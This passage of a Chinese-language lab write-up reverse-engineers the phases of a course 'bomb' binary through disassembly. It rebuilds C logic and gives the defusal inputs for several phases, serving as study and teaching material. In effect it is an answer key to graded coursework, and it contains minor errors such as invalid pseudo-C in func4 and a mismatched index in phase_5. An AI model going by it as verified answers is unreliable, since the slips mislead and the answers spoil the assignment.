        explode_bomb(v3, a1);
    }
    return;
}

[复制代码](javascript:void(0)😉

所以下一步应该在运行的时候,查看0x804a3ec地址的内容,这即是我们要输入的拆弹字符串。

但为进一步判断我们上面的分析,下面再大致分析一下strings_not_equal函数。

根据上面的代码,可以看出strings_not_equal函数的地址在0x80490ba的地方。搜索80490ba或者strings_not_equal。

img

执行第762 - 765行之后,函数栈帧为:

img

注意:

1、第766行,将esp + 0x14的内容(input(输入字符串首地址))送入到了ebx寄存器,第767行,将esp + 0x18的内容(0x804a3ec)送入到了esi寄存器。验证了我们前面所介绍的0x804a3ec地址所在的地方应该是拆弹字符串所在的首地址。

2、768-770行:求input字符串的长度,结果送入到edi寄存器。

3、771-772行:求0x804a3ec字符串的长度,结果保存在eax寄存器中。

4、773行:将1送入edx,通过后面的分析,可以知道edx存放的是返回结果,也即默认返回结果为1,即不等。

5、774-775行:比较edi和eax的内容,**即input字符串与0x804a3ec为首地址的字符串长度进行比较,**如果不等,则跳转到strings_not_equal + 0x63的地方:0x80490ba + 0x63 = 0x804911d(此地的指令是将edx的内容送入到eax,并返回,注意第773行,edx的内容被赋值为1),也即返回1,代表两个字符串不等

6、后面的汇编代码,是逐一比较两个字符串的内容,如果相等,则返回0,如果不等则返回1。

综合前面的分析,以C语言来表示strings_not_equal,其大致含义是:

[复制代码](javascript:void(0)😉

int32_t string_length(signed char* a1);

int32_t strings_not_equal(signed char* a1, signed char* a2) {
    signed char* ebx3;
    signed char* esi4;
    int32_t eax5;
    int32_t eax6;
    int32_t edx7;
    int32_t eax8;
    int32_t eax9;
    ebx3 = a1;
    esi4 = a2;
    eax5 = string_length(ebx3);
    eax6 = string_length(esi4);
    edx7 = 1;
    if (eax5 != eax6) {
        addr_0x804911d_2:
        return edx7;
    } else {
        eax8 = (int32_t)(uint32_t)(unsigned char)*ebx3;
        if (*(signed char*)&eax8 == 0) {
            edx7 = 0;
            goto addr_0x804911d_2;
        } else {
            if (*(signed char*)&eax8 == *esi4) {
                do {
                    ++ebx3;
                    ++esi4;
                    eax9 = (int32_t)(uint32_t)(unsigned char)*ebx3;
                    if (*(signed char*)&eax9 == 0) 
                        break;
                } while (*(signed char*)&eax9 == *esi4);
                goto addr_0x8049118_8;
            } else {
                edx7 = 1;
                goto addr_0x804911d_2;
            }
        }
    }
    edx7 = 0;
    goto addr_0x804911d_2;
    addr_0x8049118_8:
    edx7 = 1;
    goto addr_0x804911d_2;
}

[复制代码](javascript:void(0)😉

以上C语言代码基本和汇编代码相对应,可以对照理解。

使用objdump --start-address=0x804a3ec -s bomb,即可查看以0x804a3ec开头的段信息。下图是一个示例,我们可以看出0x804a3ec开头的字符串,正是前面找到的拆弹字符串!

从这里我们也可以看出,所有直接硬编码进入代码的字符串,以只读数据的形式存放在只读数据段中。

img

phase_2

phase_2要求输入包含6个整数的字符串。phase_2函数从中读取6个整数,并判断其正确性,如果不正确,则炸弹爆炸。phase_2主要考察学生对C语言循环的机器级表示的掌握程度。

观察框架源文件bomb.c:

image-20220213001001991

从上可以看出:

1、首先调用了read_line()函数,用于输入炸弹秘钥,输入放置在char* input中。

2、调用phase_2函数,输入参数即为input,可以初步判断,phase_2函数将输入的input字符串作为参数。

因此下一步的主要任务是从asm.txt中查找在哪个地方调用了readline函数以及phase_2函数。

打开asm.txt,寻找phase_2函数。

img

和phase_1类似分析:

1、当前栈的位置存放的是read_line函数读入的一串输入;

2、phase_2的函数入口地址为0x8048c24

此时的函数栈为:

img

寻找8048c24,或者继续寻找phase_2,可以寻找到phase_2函数,如下图所示:

img

分析上面的代码:

1、390 ~ 392行:进行一些压栈,并扩展了函数栈帧。

2、第394-395行:lea 0x18(%esp) %eax、mov %eax 4(%esp),将esp + 18指向的栈的内容的地址放置到esp+4指向的地方。简单的说,当前esp + 4指针指向的空间的内容为esp + 18。(实际上,根据后面的分析,可以知道esp + 4的内容,放的是num[0]的地址esp + 18)

3、第396行:将0x40(%esp)的内容放置到esp指向的栈。0x40(%esp)里面的内容实际上就是input字符串首地址。

4、第397行:调用了read_six_numbers函数(顾名思义,从字符串中解析出六个整数),可以猜测实际上第394行到第396行,是在为read_six_numbers函数准备参数。

5、在调用read_six_numbers之前,函数栈帧为:

img

7、上图所示的函数栈帧中,从esp + 18 ~ esp+2c,共6个栈空间,标记为保存6个整数,实际上从当前的地方并不能完全看出来,可以有些猜测,到后来阅读read_six_numbers时,证实了当前的猜测是正确的。

8、依据以上的分析,read_six_numbers函数的定义:void read_six_numbers(char* input, num);其中第二个参数,是num数组的地址。在后面,会剖析read_six_numbers函数,来证实以上的猜测,下面的分析以以上的栈帧图为基础。

9、第399行:cmp $0x1, 0x18(%esp),0x18(%esp)中是num[0],该语句判断num[0]是否应等于1,如果等,则跳转到phase_2 + 0x3e(第400行),如果不等,则call explode_bomb(第401行),从此处,可以猜测:num[0] = 1。

10、第412行(8048c62(phase_2 + 0x3e)),将0x1c + esp --> ebx寄存器,即将num[1]的地址送入到ebx寄存器,第413行,将0x30 + esp -->esi,0x30(%esp)是num[5]上面的栈空间,将该栈空间的地址送入到esi。

11、第415行:跳转到8048c4b(即第403行)。

12、第403行:将-0x4(%ebx)的内容送入到eax,-0x4(%ebx)的内容实际上指的是0x18(%esp),也即num[0]送入到eax。

13、第404行:eax = eax + eax,即: 2 * num[0];

14、第405行:比较ebx所指的地址的内容和eax的内容,据前面分析,当前ebx的内容即为num[1]的地址。

15、第406行:如果相等,则跳转到8048c59。

16、第408行(8048c59):ebx += 4,当前ebx为num[1]的地址,加4之后,正好是num[2]的地址。

17、第409行:ebx与esi(num[5]之上的地址)比较,如果不等则跳转到8048c4b(第403行),继续从前面第11继续开始。如果相等,则跳转到8048c6c(第415行),退出函数。实际上如果ebx与esi相等,说明前面已经处理完了num[5],也即处理完了第6个数。如果不等,则说明num[5]没有处理,继续循环。

18、总结前面的分析,以上显然是一个循环表示的机器级表示的处理过程,从上面的分析来看:

1)num[0] = 1;

2)num[i] = 2 * num[i-1]。(i > 0)

**因此,phase_2炸弹秘钥应该是:**1 2 4 8 16 32。

以上所有的分析是建立在六个输入数字是放置在esp + 0x18开始的地址中的前提下的。为确认这一个问题,下面对read_six_numbers函数进行详细分析。

根据前面分析,read_six_numbers的入口地址为80493da,如下图所示:

img

1、第996行:扩展栈帧,增加了44。

2、第997行:将0x34(%esp)的内容送到eax,0x34(%esp)的内容正好是num[0]的地址,也即num的首地址,也即eax内容为num[0]的地址。(参见后面的栈帧图)

3、第998行:将eax + 0x14的地址(即为eax + 0x14)送到edx,eax+0x14正好是num[5]的地址。(参见后面栈帧图)

4、第999行:将edx的内容送到esp + 0x1c的地方,即将num[5]的地址送到esp+0x1c的地方;

5、第1000行 ~1008行:

1)num[4]地址,送到esp + 0x18

2)num[3]地址,送到esp + 0x14

3)num[2]地址,送到esp + 0x10

4)num[1]地址,送到esp + 0xc

6、第1009行:num[0]地址,送到esp + 8

7、第1010行:0x804a725送入到esp + 4的地方

8、第1011/1012行:0x30(%esp)内容送入到esp,0x30(%esp)内容为input输入首地址。

9、第1013行:调用scanf函数,用于从input中读入6个整数。可以认为前面都是在为scanf函数调用准备参数,包括第1009行,0x804a67d实际上是指向一个字符串的首地址,这个字符串为“%d %d %d %d %d %d”(这点将在后面分析),因此,我们可以判断scanf的函数定义/使用为:scanf(input, “%d %d %d %d %d %d”, &num[0], &num[1], &num[2], &num[3], &num[4], &num[5],); 返回的是读取的整数的个数。

10、此时的栈帧为:

img

11、第1014行:将eax的值与5比较,eax应该是scanf函数返回的输入数字的个数;

12、第1015行:如果大于5,则函数正确返回;

13、第1016行:如果小于等于5,则引爆炸弹。

14.为了查看0x804a67d地址的内容,可以使用objdump --start-address= 0x804a67d -s bomb命令查看,如下图所示:

img

phase_3

phase_3要求输入包含1个小于10的整数,一个整数的字符串。phase_2函数从中读取这些信息,并判断其正确性,如果不正确,则炸弹爆炸。

phase_3主要考察学生对C语言条件/分支的机器级表示的掌握程度。

观察框架源文件bomb.c:

image-20220213001247641

从上可以看出:

1、首先调用了read_line()函数,用于输入炸弹秘钥,输入放置在char* input中。

2、调用phase_3函数,输入参数即为input,可以初步判断,phase_3函数将输入的input字符串作为参数。

因此下一步的主要任务是从asm.txt中查找在哪个地方调用了readline函数以及phase_3函数。

打开asm.txt,寻找phase_3函数。

img

和phase_1类似分析:

1、当前栈的位置存放的是read_line函数读入的一串输入;

2、phase_3的函数入口地址为0x8048c72

此时的函数栈为:

img

寻找8048c72,或者继续寻找phase_3,可以寻找到phase_3函数,如下图所示:

img

1、第421~431行:初始化函数栈帧,同时为调用sscanf准备参数。之后,函数栈帧如下所示:

img

1)esp + 4的地方,存放的是0x804a689,其对应的字符串为“%d%d”(其分析过程参见phase_2,不再赘述);

2)esp + 8的地方实际的内容是esp + 0x18(是esp + 0x18地址的内容的地址),esp + c内容是esp + 0x1c。

3)参考phase读取6个整数的分析,可以认为前面几个参数都是为调用sscanf准备参数:sscanf(input, “%d %d”, &d1, &d2),其中&d1对应18(%esp),&c对应1c(%esp)。

4)因此,可以看出18(%esp)、1c(%esp)分别对应于d1、d2。也即sscanf最终读取的数据分别放置于栈帧中的这两个个地方,在后面的代码分析中,均以d1以及d2来代替这三个地址的内容。

2、第431-433行:判断sscanf返回结果是否大于1,如果不是,则explode_bomb。如果大于,则认为输入正确,跳转到<phase_3 + 0x31>(8048ca3)–>第434行。

3、第434行(phase_3 + 0x39)及435行:d1与7相比较,大于则跳转到<phase_3 + 0x9e>(8048d10)(引爆炸弹),也即d1应该小于等于7。、

4、第436-437行:将d1送给eax,跳转到0x804a450 + d1 * 4的内容所指示的地址。使用objdump --start-address=0x804a450 -s bomb查看0x804a450的内容,如下图所示:

img

显然,后面连续的8个32位的数值分别指向的地址是08048cbc、08048cb5、08048cc8、08048cd4、08048ce0、08048cec、08048cf8、08048d04(注意:IA32为小端表示*低位字节排放在内存的低地址端,高位字节排放在内存的高地址端。*),分别对应于d1为0~7。显然这一块应该是一个swich-case的机器级表示。(参见袁春风老师《选择及循环语句的机器级表示》)

这里以d1等于3为例,d2初值赋为0,然后-18c,之后不断跳转+18c,-18c,+18c,-18c,最终结果是-18c,也就是-396

第446行初始d2赋值为0。

第447行进行-18c。

第478行执行跳转到地址8048ce5,即第450行的位置。

第450行执行+18c。

第451行执行跳转到地址8048cf1,即第453行的位置。

第453行执行-18c

第454行执行跳转到地址8048cfd,即第456行的位置。

第456行执行+18c

第457行执行跳转到地址8048d09,即第459行的位置。

第459行执行-18c

第460行执行跳转到地址8048d1a,即第463行的位置。

第463行先确定d1不大于5,之后第465行比较判断此时的d2,此时d2为-18c,即-396

phase_4

phase_4要求输入2个整数,phase_4函数从中获取信息,并判断其正确性,如果不正确,则炸弹爆炸。

phase_4主要考察学生对递归的机器级表示的掌握程度。

观察框架源文件bomb.c:

img

从上可以看出:

1、首先调用了read_line()函数,用于输入炸弹秘钥,输入放置在char* input中。

2、调用phase_4函数,输入参数即为input,可以初步判断,phase_3函数将输入的input字符串作为参数。

因此下一步的主要任务是从asm.txt中查找在哪个地方调用了readline函数以及phase_4函数。

打开asm.txt,寻找phase_4函数。

img

和phase_1类似分析:

1、当前栈的位置存放的是read_line函数读入的一串输入;

2、phase_4的函数入口地址为0x8048d8e

此时的函数栈为:

img

寻找8048d8e,或者继续寻找phase_4,可以寻找到phase_4函数,如下图所示:

img

1、510-518行:准备phase_4函数栈帧,并为调用sscanf函数准备参数。经过这些语句后,函数栈帧如下图所示。

img

**注意:**0x804a689位置的内容为“%d %d”,可以判断是输入两个整数。其分析过程参见前面阶段分析,这里不再赘述。

2、519行:调用sscanf函数,读取两个整数,得到的两个数据d1和d2,放置在如上图中的栈中,函数返回结果在eax寄存器中。(根据前面的分析,应该知道返回结果代表读取的数据的数量)

3、520-521行:如果读取的数量不等于2,则跳转到8048dc1<phase_4 + 0x33>,引爆炸弹;

4、522-524行:d1与14(0xe)比较,大于,则引爆炸弹。显然,这里的判断是要求d1 <= 14。小于则跳转到8048dc6<phanse_4 + 0x38>,继续执行。

6、525行(8048e5d)- 530行,是在为调用8048d31这个函数做准备。531行执行后,函数栈帧变为:

img

可以看出,为func4函数准备了3个参数,调用顺序为(d1,0,14)。

7、531行:调用func4(d1, 0, 14),返回结果在eax中。

8、532行:将func4的返回结果与0xf(10进制15)相比较,如果不等,则跳转到8048e85<phase_4+0x60>,引爆炸弹。也即func4的返回结果应该为15,否则引爆。

9、534-535行:将d2与15(0xf)相比较,如果不等,则引爆炸弹。如果相等,则过关。

10、从上面分析来看,输入的两个数中,d1 <= 14,而d2=15。d1目前看来暂时不能确定,如果要确定d1的值,需分析func4函数(其逻辑空间地址为8048d31)。

在asm.txt中寻找func4,在8048d31处,为func4函数定义:

img

1、根据前面分析,func4的定义应为:int func4(int x, int y, int z),后面的分析均以此为基础进行分析。

2、473-474行:准备函数栈帧。执行后,函数栈帧如下图所示:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mJ9S7ZpD-1645887944006)(https://s2.loli.net/2022/02/13/qSWp6G3klDZKxhR.png)]

3、476-478行:x --> edx,y --> eax,z --> esi。

4、479-481行:ecx = ebx = z - y;

5、482行:ebx逻辑右移0x1f位(shr:逻辑右移指令),即逻辑右移31位,即将z-y的最高位(符号位)移到了最低位。逻辑右移的结果送到ebx,此时ebx 为z - y的符号位。即如果z >= y,则ebx = 0,否则ebx = 1;(前面给的参数z = 14, y = 0, ebx = 0)

6、483-484行:ecx = ebx + ecx = z - y + sign(z-y) ;然后ecx算术右移一位,即ecx = (z-y + sign(z-y))/2 = 7。(sar:算术右移指令,只有一个参数,意味着只右移1位,这里sign(z-y)代表取z-y的符号,当z>=y时,sign(z-y) = 0 否则sign(z-y) = 1)

7、485行:lea是一个地址传送指令,但这里借用该指令,执行的是将ecx + eax -->ebx,也即ebx = y + [(z-y) + sign(z-y)]/2。(这里应该是求z和y的中间的值,分为负数和正数的处理方法不一样,为方便后面描述,这里设置mid = y + [(z-y) + sign(z-y)]/2)

8、486-487行:将ebx与edx相比较,也即mid与x相比较,如果mid <= x(jle为小于等于),则跳转到8048d6d<func4 + 0x3c>。

9、495-497行:8048d6d<func4 + 0x3c>:实际上是判断mid是否大于等于x,如果是,则跳出函数,func4返回。(根据上面,是小于等于跳转过来的,这里大于等于,应该是mid==x的时候,返回,返回处理在8048d88(第504行处),此时eax = mid,即返回的是mid的值。)如果不是,则继续执行498行,也即此时mid < x。

10、498-502行:将esi的内容(z),送入到esp+8的位置,ebx + 1 -->esp + 4(ebx为mid), x–>esp,然后调用func4,显然这里是递归调用func4,此时调用func4(x, mid + 1, z)。如果该函数返回,将ebx(mid)与eax(func4的返回结果)相加(第504行),进行返回。

11、根据前面8~10分析:如果mid 等于x,则返回mid,如果mid < x,则调用func4(x, mid+1, z)。

12、第488-492行:上面第8步,如果第487步没有跳转,则继续执行488行,此时mid > x。此时的过程:

1)将ebx -1 -->ecx,即ecx=mid-1,ecx->esp+8(esp+8为mid-1),eax->esp+4(eax为y),edx->esp(edx为x)。

2)调用func4:func4(x, y, mid-1)。

3)显然,以上代码含义是当mid > x时,调用func4(x, y, mid-1)。

4)如果func4返回,将ebx(mid)与eax(func4的返回结果)相加(第493行),进行返回。

根据以上分析,func4显然是一个递归调用函数,其大致c语言代码为:

[复制代码](javascript:void(0)😉

int func4(int x, int y, int z)
{
    int mid = 0;
    if(z >= y)
    {
        mid = y + (z - y)/2;
    }
    else
    {
        mid = y + (z-y + 1)/2;
    }
    if(x == mid)
    {
        return mid;
    }
    else(if x < mid)
    {
        return mid + func4(x, y, mid -1);
    }
    else(if x > mid)
    {
        return mid + func(x, mid + 1, z);
    }
}

[复制代码](javascript:void(0)😉

显然,上面代码为一个二叉排序/搜索树,phase_4调用时的参数是func4(d1, 0, 14),最后的返回结果是15。

根据前面分析,当给定d1时,func4返回结果是搜索路径上的所有值之和。例如:

假设d1 = 7, func4返回7。如果d1=1,func4返回7+3+1 = 11。

当要求func4返回15时,d1应该等于5,即7 + 3 + 5 = 15。

因此,phase_4的答案应该是:“5 15”

phase_5

phase_5要求输入一个包含6个字符的字符串。phase_5函数从中读取这些信息,并判断其正确性,如果不正确,则炸弹爆炸。

phase_5主要考察学生对指针(数组)机器级表示的掌握程度。

观察框架源文件bomb.c:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-on5PRxTO-1645887944007)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220216214856524.png)]

从上可以看出:

1、首先调用了read_line()函数,用于输入炸弹秘钥,输入放置在char* input中。

2、调用phase_5函数,输入参数即为input,可以初步判断,phase_5函数将输入的input字符串作为参数。

因此下一步的主要任务是从asm.txt中查找在哪个地方调用了readline函数以及phase_5函数。

打开asm.txt,寻找phase_5函数。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-98dPYIF5-1645887944007)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220216214750948.png)]

和phase_1类似分析:

1、当前栈的位置存放的是read_line函数读入的一串输入;

2、phase_5的函数入口地址为0x8048df7

此时的函数栈为:

img

继续寻找phase_5,或搜索8048df7,可以找到phase_5函数入口。

1、541-547行:初始化函数栈帧,并为调用string_length做准备(此时ebx的内容为input字符串首地址:543行)。函数栈帧如下图所示:

img

注:

1)544-545行:mov %gs:0x14, %eax mov %eax, 0x1c(%esp),将gs(全局段寄存器)+0x14偏移位置的内容放置到eax,然后将其放置到esp + 0x1c的地方。从这里看不出这段代码什么含义,但据后面的分析,这里应该是起到一个“哨兵”的作用,防止数组访问越界。

2)546行:xor %eax, %eax,似乎没有什么用,得出来的结果是0,应该只是影响zf标志寄存器(zf为零标志寄存器,即zf=1)。

2、548行:判断input字符串的长度(esp指向的地方为input的首地址,参见上图),返回结果在eax寄存器中。

3、549-551行:判断input的长度是否为6,如果不是,则炸弹爆炸(551行),如果是,跳转到8048e62<phase_5+0x6b>。也即输入的字符串长度应该是6。

4、572-573行(8048e62<phase_5+0x6b>):将eax寄存器内容赋值为0,然后跳转到8048e22<phase_5+0x2b>。

5、554行(<8048e22><phase_5+0x2b>):将ebx + eax * 1地址的内容送入到edx。注意, ebx为input首地址,也即将input[%eax]的内容送入到edx。当eax = 0时,即为edx的内容为input[0]。

6、555行:将edx的内容(input[0])与0x0f位与,相当于取低4位(edx内容为input[eax]的低四位)。

7、556行:将edx + 0x804a470指向的地址的内容送入到edx。0x804a470的内容(使用objdump --start-address=0x804a470 -s bomb,参见phase_1分析过程)为:

img

从上面来看,0x804a470应该是指向一个字符串,此时edx的内容应该是0x804a470加上input[eax]低4位的偏移的内容。

8、557行:将dl(edx的低8位,为(0x804a470 +input[eax]) & 0xf)的内容送入到esp + eax * 1 + 0x15的地方。

9、558-560行:eax += 1,然后判断eax的内容是否等于6,如果不等,则跳转到8048e22<phase_5+0x2b>,重新回到第5步继续进行分析,直到eax=6(即循环6次)。

10、以上代码,以类c语言来简要说明:

for(int i = 0; i < 6; i++){

//将0x804a470 + input[i] & 0x0f这个地址的内容送入到堆栈esp + i + 0x15地址中。

(0x804a470 + input[i] & 0x0f) --> (esp + i + 0x15)

}

经过6次循环后,函数栈帧如下:

img

显然,从esb + 0x15开始,是根据input的输入的每个字符的低四位,得出来的一个新的字符串。

11、561行:以上循环结束后,跳出循环,执行该语句:esp + 0x1b的内容改变为0;

12、562行:将0x804a446送入到:esp+0x4。0x804a446的内容为(objdump --start-address=0x804a446 -s bomb):

img

也即当前esp+0x4指向的是一个字符串首地址,字符串为**“sabres”**。

13、564-565行:eax的内容变为esp + 0x15,即通过上面循环形成的新的字符串的首地址,然后将其送入到esp。

14、调用strings_not_equal函数,显然,前面11~13均在为调用strings_not_equal做准备,调用strings_not_equal前,函数栈帧为:

img

15、显然,strings_not_equal函数判断以(esp + 0x15)为首地址的字符串与0x804a446为首地址的字符串(“*sabres*)相比较,如相等,eax返回0,如不相等eax返回1。(参见phase_1分析)

16、567行:判断eax是否为0(eax与eax位与),如果为0,0标志寄存器为1。

17、568-569行:如果eax=0,则跳转到8048e69<phase_5+0x72>,后续直接退出phase_5了,说明输入的input字符串是正确的,否则引爆炸弹。(8048e69<phase_5+0x72>代码后面分析)

18、574-577行:将esp + 0x1c地址处的内容送入到eax(574行,esp+0x1c的内容应为%gs:0x14的内容),然后与%gs:0x14的内容相异或,如果相等(为0),则跳转到0x8048e7b,正常结束,否则调用__stack_chk_fail函数(应该是栈检查失败);

根据上面分析,%gs:0x14的值送入到esp+0x1c的地方(第544-545行),应该是起到一个“哨兵”的作用,防止数组的访问越界。

根据前面分析,显然phase_5函数的作用(以类C语言进行描述):

[复制代码](javascript:void(0)😉

char array[] = {'m','a','d','u','i','e','r','s','n','f','o','t','v','b','y','l'};
char *str = "sabres";
char  new_str[7];
//根据input的每个字符的低4位,以及array,形成新的字符串。
for(int i = 0; i < 6; i ++)
{
    new_str[i] = array[input[i]&0xf]);
}
new_str[6] ='\0';
//如果new_str不等于str("sabres"),则引爆炸弹。
if(strcmp(str, new_str) !=0)
{
    explode_bomb();
}

[复制代码](javascript:void(0)😉

那么根据上面的代码反推,如果需要使构成的new_str==“sabres”,那么输入的input[i]的低4位对应的十进制数分别是array[]数组中字符’s’,‘a’,‘b’,‘r’,‘e’,'s’的下标。

根据以上分析,要形成"sabres"字符串:

array[] = {‘m’, ‘a’, ‘d’, ‘u’, ‘i’, ‘e’, ‘r’, ‘s’, ‘n’, ‘f’, ‘o’, ‘t’, ‘v’, ‘b’, ‘y’, 'l '};

1)‘s’:对应于array第7个 (从0开始),也即input[0]的低4位应该为7,符合条件的可显示字符有:’’’,'7 ',‘G’,‘W’,‘g’,‘w’(参见附后的ASCII码表):

2)‘a’:对应于array第1个 (从0开始),也即input[1]的低4位应该为2,符合条件的可显示字符有:’!’,'1 ‘,‘A’,‘Q’,a’,‘q’

3)‘b’:对应于array第13个(从0开始),也即input[2]的低4位应该为13,符合条件的可显示字符有:’-’,’=’,‘M’,’]’,‘m’, ‘}’

4)‘r’:对应于array第6个 (从0开始),也即input[3]的低4位应该为6,符合条件的可显示字符有:’&’,'6 ',‘F’,‘V’,‘f’,‘v’

5)‘e’:对应于array第5个 (从0开始),也即input[4]的低4位应该为5,符合条件的可显示字符有:’%’,‘5’,‘E’,‘U’,‘e’,‘u’

6)‘s’:对应于array第7个 (从0开始),也即input[5]的低4位应该为7,符合条件的可显示字符有:’’’,'7 ',‘G’,‘W’,‘g’,‘w’

img

phase_6

phase_6要求输入6个1~6的数,这6个数不能重复。phase_6根据用户的输入,将某个链表按照用户的输入的值(进行某种计算后)进行排序,如果最终能排成降序,则解题成功。

phase_6主要考察学生对C语言指针、链表以及结构的机器级表示的掌握程度。

观察框架源文件bomb.c:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1wfQlwMg-1645887944011)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220216220136727.png)]

从上可以看出:

1、首先调用了read_line()函数,用于输入炸弹秘钥,输入放置在char* input中。

2、调用phase_6函数,输入参数即为input,可以初步判断,phase_6函数将输入的input字符串作为参数。

因此下一步的主要任务是从asm.txt中查找在哪个地方调用了readline函数以及phase_6函数。

打开asm.txt,寻找phase_6函数。

img

和phase_1类似分析:

1、当前栈的位置存放的是read_line函数读入的一串输入;

2、phase_6的函数入口地址为0x8048e81

此时的函数栈为:

img

在asm.txt中继续寻找phase_6,或者寻找0x8048e81,找到phase_6函数入口

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8GYl4fU1-1645887944011)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220216220537284.png)]

584-591行:初始化函数栈帧,然后调用read_six_numbers函数。调用之后,从input中读取了6个数num[0] ~ num[5](read_siz_numbers函数分析参见前面),位于esp+0x10 ~esp+0x24,此时函数栈帧如下图所示:

img

2、592行:0 --> esi

3、593-597行:判断(esp + esi*4 + 0x10)是否小于等于6以及大于等于1,如果不满足,则引爆炸弹(625行);也即输入的数(esi=0时,为num[0],esi=1时,为num[1]…)应该大于等于1,同时小于等于6。注意,比较时,先将该值减1(594行),然后与5进行比较(595行),比较时用的jbe(无符号整数比较),也即,如果该输入值小于1,减1之后变成一个很大的无符号数(负数),肯定是大于5的。因此这几行就实现了判断num[esi] >=1 && num[esi] <=6。(这应该是编译器做的优化)

4、598行:esi += 1

5、599-602行:esi与6进行比较,如果等于,则意味着6个数已经比较完毕,跳转到8048ef7。

6、603行:如果602行没有跳转,也即6个数还没有判断完毕,则继续执行,将esi赋值给ebx

7、604-607行:判断num[ebx]是否与num[esi-1]相等,如果相等,则引爆炸弹;

8、608-610行:ebx+=1,然后判断ebx是否小于等于5,如果是,则跳转到8048ec1,即604行,也即跳转到第7步。

9、611行:跳转到8048e9f,进行num[esi]的比较(注意num[esi]在第608行加1)

10、综合以上分析,可以判断出以上代码的作用是:

1)判断每个输入的数应小于等于6,大于等于1;

2)num[i]不等于它的后续的每个数;

3)也即输入的6个数,应是1/2/3/4/5/6,但顺序不一定。

使用类c语言描述:

[复制代码](javascript:void(0)😉

for (i = 0; i < 6; i++)
{
    if ((num[i] < 1) || (num[i] > 6))
    {
        explode_bomb();
    }
    for (j = i + 1; j < 6; j++)
    {
        if (num[i] == num[j])
        {
            explode_bomb();
        }
    }
}

[复制代码](javascript:void(0)😉

14、622行(0x8048fa2<phase_6+0x90>)- 625行:ebx保存到esi(mov %ebx, %esi),将esp + ebx4 + 0x10的内容(当ebx=0时,为num[0],当ebx=1时,为num[1]…)与1相比较,如果 esp + ebx4 + 0x10 <= 1(624行),则跳转到 8048ee6 <phase_6+0x65>(625行),否则继续执行626行。(根据前面分析,ecx为输入的num的值,仅且仅当ecx=1时,执行这个625行跳转语句,跳转到8048ee6 <phase_6+0x65>。

15、617行(0x8048f91<phase_6+0x7f>):当ecx=1时,会执行该条语句,将0x804c174送入到edx。查看0x804c174地址的内容(objdump --start-address=0x804c174 -s bomb):

img

16、618行:将edx内容送入到esp + esi*4 + 0x28。

17、619-621行:ebx += 1,然后与6相比较,如果等于6,则跳转到0x8048f0e 。

18、如果不等于6,则继续执行622行,对于本文,即跳转到第14步,前面分析了ecx=1的情况,如果ecx不等于1,则应继续执行626-628行。

19、626-628行:eax赋值为1,edx赋值为0x804c174,跳转到8048eda <phase_6+0x59>。(第612行)

20、612-615行:这是一个循环。判断ecx(num[ebx])是否等于eax,如果不是,则将edx + 8的内容送入到edx,然后继续判断, edx +8的内容应该是指向的是一个地址。如果相等,则跳转到 8048eda <phase_6+0x59>(从第612行继续执行)

21、根据前面的分析,13~20步的代码,是根据处理后的num值(参见第10步分析),将相关信息压栈(从esp+28开始压栈):(注意:IA32是小端方式)

1)当num[i] == 1时,将0x804c174(node1)压入到esp + 0x28 + i * 4;

2)当num[i] == 2时,将0x804c180(node2)压入到esp + 0x28 + i * 4;

3)当num[i] == 3时,将0x804c18c(node3)压入到esp + 0x28 + i * 4;

4)当num[i] == 4时,将0x804c198(node4)压入到esp + 0x28 + i * 4;

5)当num[i] == 5时,将0x804c1a4(node5)压入到esp + 0x28 + i * 4;

6)当num[i] == 6时,将0x804c1b0(node6)压入到esp + 0x28 + i * 4;

7)观察压入栈的内容,每个内容地址实际上是指向12(例如:0x804c180-0x804c174)字节的一段数据,该数据的末尾又是指向一个地址,因此,可以判断0x804c174开始的地方指向的是一个链表(但这些链表的存空间是连续分配的),每个节点包括12个字节,其中最后一个是指向下一个的指针,猜测每个节点的定义:

[复制代码](javascript:void(0)😉

struct node
{
    int d1;//尚不清楚含义,以4个字节的int暂替
    int d2;//尚不清楚含义,以4个字节的int暂替
    struct node* next;
}

[复制代码](javascript:void(0)😉

6个节点,分别为:

node1 = {0x6d, 0x01, 0x804c180}; (&node1 = 0x804c174)

node2 = {0x69, 0x02, 0x804c18c }; (&node2 = 0x804c180)

node3 = {0x3b2, 0x03, 0x804c198}; (&node3 = 0x804c18c)

node4 = {0x299, 0x04, 0x804c1a4}; (&node4 = 0x804c198)

node5 = {0xc7, 0x05, 0x804c1b0}; (&node5 = 0x804c1a4)

node6 = {0x285b, 0x06, 0}; (&node6 = 0x804c1b0)

链接关系为:

node1 --> node2 --> node3 --> node4 --> node5 --> node6 --> 0

8)假设当前6个num的值为6/5/4/3/2/1,则经过6次循环后,函数栈帧如下图所示。

img

注:后面分析,均假设6个num的值为6/5/4/3/2/1。

22、以上操作结束,则跳转到 8048f0e <phase_6+0x8d>(第629行,参见第17步分析)。

23、629(8048fb9 <phase_6+0xa7>)- 676行:

1)629行:0x28(%esp)的内容(num[0]这个值指向的节点的地址) --> ebx

2)630行:esp+0x2c --> eax,esp+0x2c这个地址的内容为num[1]这个值对应的节点的地址

3)631行:esp + 0x40 --> esi,esp + 0x40,根据后面的分析,这个值是作为“哨兵”,防止访问越界

4)632行:ebx --> ecx(此时ebx以及ecx都是num[0]这个值指向的节点的地址)

5)633行:eax所指向的地址的内容(num[1]这个值对应的节点的地址)–> edx

6)634行:将edx的内容赋值给8(%ecx)的地址,注意,此时ecx为num[0]指向的节点的地址,8(%ecx)正好是num[0]这个值所对应的next,即node6.next = &node5

7)635行:eax += 4,即eax所指向的地址的内容变成了num[2]所指向的节点的地址;

8)636行:将eax与esi(哨兵)相比较,如果等于,则说明循环结束,跳转到 8048f2c <phase_6+0xab>,如果不是,继续执行。

9)638行:edx --> ecx:根据前面分析,edx为num[1]值指向的节点的地址。

10)639行:跳转到8048f1c <phase_6+0x9b>,即第633行,可以转到上面第5)步继续执行,注意,此时edx为num[1]值指向的节点地址,eax的内容为num[2]值指向的节点的地址,即node5.next = &node4。

11)如此循环,最后的结果是:

node6.next = &node5,node5.next = &node4,node4.next = &node3,node3.next = &node2,node2.next = &node1

